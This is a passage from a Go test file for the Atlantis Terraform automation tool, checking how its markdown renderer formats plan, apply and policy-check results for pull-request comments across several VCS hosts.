models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected)+\n\t\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that if disable apply is set then the apply footer is not added\nfunc TestRenderProjectResultsDisableApply(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"single successful plan with disable apply set\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful plan with project name with disable apply set\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful plans, disable apply set\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output2\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. project: $projectname$ dir: $path2$ workspace: $workspace$\n$$$diff\nterraform-output2\n$$$\n\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path2 -w workspace\n  $$$\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n`,\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\ttrue,       // disableApplyAll\n\t\ttrue,       // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected)+\n\t\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Run policy check with a custom template to validate custom template rendering.\nfunc TestRenderCustomPolicyCheckTemplate_DisableApplyAll(t *testing.T) {\n\tvar exp string\n\ttmpDir := t.TempDir()\n\tfilePath := fmt.Sprintf(\"%s/templates.tmpl\", tmpDir)\n\t_, err := os.Create(filePath)\n\tOk(t, err)\n\terr = os.WriteFile(filePath, []byte(\"{{ define \\\"PolicyCheckResultsUnwrapped\\\" -}}somecustometext{{- end}}\\n\"), 0600)\n\tOk(t, err)\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\ttrue,       // disableApplyAll\n\t\ttrue,       // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\ttmpDir,     // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tres := command.Result{\n\t\tProjectResults: []command.ProjectResult{\n\t\t\t{\n\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tPolicyOutput:  \"4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t\t\t\t\tPassed:        true,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}, LockURL: \"lock-url\",\n\t\t\t\t\t\tApplyCmd:  \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\tRePlanCmd: \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tcmd := &events.CommentCommand{\n\t\tName:    command.PolicyCheck,\n\t\tVerbose: false,\n\t}\n\trendered := r.Render(ctx, res, cmd)\n\texp = `\nRan Policy Check for dir: $path$ workspace: $workspace$\n\n#### Policy Set: $policy1$\n$$$diff\n4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions\n$$$\n\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n`\n\n\tEquals(t, normalize(exp), normalize(rendered))\n}\n\n// Test that if folding is disabled that it's not used.\nfunc TestRenderProjectResults_DisableFolding(t *testing.T) {\n\tmr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\ttrue,       // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tres := command.Result{\n\t\tProjectResults: []command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(strings.Repeat(\"line\\n\", 13)),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tcmd := &events.CommentCommand{\n\t\tName:    command.Plan,\n\t\tVerbose: false,\n\t}\n\trendered := mr.Render(ctx, res, cmd)\n\tEquals(t, false, strings.Contains(rendered, \"\\n<details>\"))\n}\n\n// Test that if the output is longer than 12 lines, it gets wrapped on the right\n// VCS hosts during an error.\nfunc TestRenderProjectResults_WrappedErr(t *testing.T) {\n\tcases := []struct {\n\t\tVCSHost                 models.VCSHostType\n\t\tGitlabCommonMarkSupport bool\n\t\tOutput                  string\n\t\tShouldWrap              bool\n\t}{\n\t\t{\n\t\t\tVCSHost:    models.Github,\n\t\t\tOutput:     strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap: false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:    models.Github,\n\t\t\tOutput:     strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap: true,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tGitlabCommonMarkSupport: false,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:              false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tGitlabCommonMarkSupport: false,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap:              false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tGitlabCommonMarkSupport: true,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:              false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tGitlabCommonMarkSupport: true,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap:              true,\n\t\t},\n\t\t{\n\t\t\tVCSHost:    models.BitbucketCloud,\n\t\t\tOutput:     strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap: false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:    models.BitbucketCloud,\n\t\t\tOutput:     strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap: false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:    models.BitbucketServer,\n\t\t\tOutput:     strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap: false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:    models.BitbucketServer,\n\t\t\tOutput:     strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap: false,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"%s_%v\", c.VCSHost.String(), c.ShouldWrap),\n\t\t\tfunc(t *testing.T) {\n\t\t\t\tmr := events.NewMarkdownRenderer(\n\t\t\t\t\tc.GitlabCommonMarkSupport, // gitlabSupportsCommonMark\n\t\t\t\t\tfalse,                     // disableApplyAll\n\t\t\t\t\tfalse,                     // disableApply\n\t\t\t\t\tfalse,                     // disableMarkdownFolding\n\t\t\t\t\tfalse,                     // disableRepoLocking\n\t\t\t\t\tfalse,                     // enableDiffMarkdownFormat\n\t\t\t\t\t\"\",                        // markdownTemplateOverridesDir\n\t\t\t\t\t\"atlantis\",                // executableName\n\t\t\t\t\tfalse,                     // hideUnchangedPlanComments\n\t\t\t\t\tfalse,                     // quietPolicyChecks\n\t\t\t\t)\n\t\t\t\tlogger := logging.NewNoopLogger(t).WithHistory()\n\t\t\t\tlogText := \"log\"\n\t\t\t\tlogger.Info(logText)\n\t\t\t\tctx := &command.Context{\n\t\t\t\t\tLog: logger,\n\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\t\tType: c.VCSHost,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\tres := command.Result{\n\t\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\t\tError: errors.New(c.Output),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\tName:    command.Plan,\n\t\t\t\t\tVerbose: false,\n\t\t\t\t}\n\t\t\t\trendered := mr.Render(ctx, res, cmd)\n\t\t\t\tvar exp string\n\t\t\t\tif c.ShouldWrap {\n\t\t\t\t\texp = `\nRan Plan for dir: $.$ workspace: $default$\n\n**Plan Error**\n<details><summary>Show Output</summary>\n\n$$$\n` + c.Output + `\n$$$\n</details>\n`\n\t\t\t\t} else {\n\t\t\t\t\texp = `Ran Plan for dir: $.$ workspace: $default$\n\n**Plan Error**\n$$$\n` + c.Output + `\n$$$\n`\n\t\t\t\t}\n\t\t\t\tEquals(t, normalize(exp), normalize(rendered))\n\t\t\t})\n\t}\n}\n\n// Test that if the output is longer than 12 lines, it gets wrapped on the right\n// VCS hosts for a single project.\nfunc TestRenderProjectResults_WrapSingleProject(t *testing.T) {\n\tcases := []struct {\n\t\tVCSHost                 models.VCSHostType\n\t\tVcsRequestType          string\n\t\tGitlabCommonMarkSupport bool\n\t\tOutput                  string\n\t\tShouldWrap              bool\n\t}{\n\t\t{\n\t\t\tVCSHost:        models.Github,\n\t\t\tVcsRequestType: \"Pull Request\",\n\t\t\tOutput:         strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:     false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:        models.Github,\n\t\t\tVcsRequestType: \"Pull Request\",\n\t\t\tOutput:         strings.Repeat(\"line\\n\", 13) + \"No changes. Infrastructure is up-to-date.\",\n\t\t\tShouldWrap:     true,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tVcsRequestType:          \"Merge Request\",\n\t\t\tGitlabCommonMarkSupport: false,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:              false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tVcsRequestType:          \"Merge Request\",\n\t\t\tGitlabCommonMarkSupport: false,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap:              false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tVcsRequestType:          \"Merge Request\",\n\t\t\tGitlabCommonMarkSupport: true,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:              false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:                 models.Gitlab,\n\t\t\tVcsRequestType:          \"Merge Request\",\n\t\t\tGitlabCommonMarkSupport: true,\n\t\t\tOutput:                  strings.Repeat(\"line\\n\", 13) + \"No changes. Infrastructure is up-to-date.\",\n\t\t\tShouldWrap:              true,\n\t\t},\n\t\t{\n\t\t\tVCSHost:        models.BitbucketCloud,\n\t\t\tVcsRequestType: \"Pull Request\",\n\t\t\tOutput:         strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:     false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:        models.BitbucketCloud,\n\t\t\tVcsRequestType: \"Pull Request\",\n\t\t\tOutput:         strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap:     false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:        models.BitbucketServer,\n\t\t\tVcsRequestType: \"Pull Request\",\n\t\t\tOutput:         strings.Repeat(\"line\\n\", 1),\n\t\t\tShouldWrap:     false,\n\t\t},\n\t\t{\n\t\t\tVCSHost:        models.BitbucketServer,\n\t\t\tVcsRequestType: \"Pull Request\",\n\t\t\tOutput:         strings.Repeat(\"line\\n\", 13),\n\t\t\tShouldWrap:     false,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tfor _, cmdName := range []command.Name{command.Plan, command.Apply} {\n\t\t\tt.Run(fmt.Sprintf(\"%s_%s_%v\", c.VCSHost.String(), cmdName.String(), c.ShouldWrap),\n\t\t\t\tfunc(t *testing.T) {\n\t\t\t\t\tmr := events.NewMarkdownRenderer(\n\t\t\t\t\t\tc.GitlabCommonMarkSupport, // gitlabSupportsCommonMark\n\t\t\t\t\t\tfalse,                     // disableApplyAll\n\t\t\t\t\t\tfalse,                     // disableApply\n\t\t\t\t\t\tfalse,                     // disableMarkdownFolding\n\t\t\t\t\t\tfalse,                     // disableRepoLocking\n\t\t\t\t\t\tfalse,                     // enableDiffMarkdownFormat\n\t\t\t\t\t\t\"\",                        // markdownTemplateOverridesDir\n\t\t\t\t\t\t\"atlantis\",                // executableName\n\t\t\t\t\t\tfalse,                     // hideUnchangedPlanComments\n\t\t\t\t\t\tfalse,                     // quietPolicyChecks\n\t\t\t\t\t)\n\t\t\t\t\tlogger := logging.NewNoopLogger(t).WithHistory()\n\t\t\t\t\tlogText := \"log\"\n\t\t\t\t\tlogger.Info(logText)\n\t\t\t\t\tctx := &command.Context{\n\t\t\t\t\t\tLog: logger,\n\t\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\t\t\tType: c.VCSHost,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\n\t\t\t\t\tvar pr command.ProjectResult\n\t\t\t\t\tswitch cmdName {\n\t\t\t\t\tcase command.Plan:\n\t\t\t\t\t\tpr = command.ProjectResult{\n\t\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\t\t\tTerraformOutput: c.Output,\n\t\t\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\t\t\tRePlanCmd:       \"replancmd\",\n\t\t\t\t\t\t\t\t\tApplyCmd:        \"applycmd\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\tcase command.Apply:\n\t\t\t\t\t\tpr = command.ProjectResult{\n\t\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\t\tApplySuccess: c.Output,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tres := command.Result{\n\t\t\t\t\t\tProjectResults: []command.ProjectResult{pr},\n\t\t\t\t\t}\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    cmdName,\n\t\t\t\t\t\tVerbose: false,\n\t\t\t\t\t}\n\t\t\t\t\trendered := mr.Render(ctx, res, cmd)\n\n\t\t\t\t\t// Check result.\n\t\t\t\t\tvar exp string\n\t\t\t\t\tswitch cmdName {\n\t\t\t\t\tcase command.Plan:\n\t\t\t\t\t\tif c.ShouldWrap {\n\t\t\t\t\t\t\texp = `\nRan Plan for dir: $.$ workspace: $default$\n\n<details><summary>Show Output</summary>\n\n$$$diff\n` + strings.TrimSpace(c.Output) + `\n$$$\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  applycmd\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  replancmd\n  $$$\nNo changes. Infrastructure is up-to-date.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this ` + c.VcsRequestType + `, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this ` + c.VcsRequestType + `, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\texp = `\nRan Plan for dir: $.$ workspace: $default$\n\n$$$diff\n` + strings.TrimSpace(c.Output) + `\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  applycmd\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  replancmd\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this ` + c.VcsRequestType + `, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this ` + c.VcsRequestType + `, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`\n\t\t\t\t\t\t}\n\t\t\t\t\tcase command.Apply:\n\t\t\t\t\t\tif c.ShouldWrap {\n\t\t\t\t\t\t\texp = `\nRan Apply for dir: $.$ workspace: $default$\n\n<details><summary>Show Output</summary>\n\n$$$diff\n` + strings.TrimSpace(c.Output) + `\n$$$\n\n</details>\n`\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\texp = `\nRan Apply for dir: $.$ workspace: $default$\n\n$$$diff\n` + strings.TrimSpace(c.Output) + `\n$$$\n`\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tEquals(t, normalize(exp), normalize(rendered))\n\t\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestRenderProjectResults_MultiProjectApplyWrapped(t *testing.T) {\n\tmr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\ttfOut := strings.Repeat(\"line\\n\", 13)\n\tres := command.Result{\n\t\tProjectResults: []command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: tfOut,\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"production\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: tfOut,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tcmd := &events.CommentCommand{\n\t\tName:    command.Apply,\n\t\tVerbose: false,\n\t}\n\trendered := mr.Render(ctx, res, cmd)\n\texp := `\nRan Apply for 2 projects:\n\n1. dir: $.$ workspace: $staging$\n1. dir: $.$ workspace: $production$\n---\n\n### 1. dir: $.$ workspace: $staging$\n<details><summary>Show Output</summary>\n\n$$$diff\n` + strings.TrimSpace(tfOut) + `\n$$$\n\n</details>\n\n---\n### 2. dir: $.$ workspace: $production$\n<details><summary>Show Output</summary>\n\n$$$diff\n` + strings.TrimSpace(tfOut) + `\n$$$\n\n</details>\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored\n`\n\tEquals(t, normalize(exp), normalize(rendered))\n}\n\nfunc TestRenderProjectResults_MultiProjectPlanWrapped(t *testing.T) {\n\tmr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\ttfOut := strings.Repeat(\"line\\n\", 13) + \"Plan: 1 to add, 0 to change, 0 to destroy.\"\n\tres := command.Result{\n\t\tProjectResults: []command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: 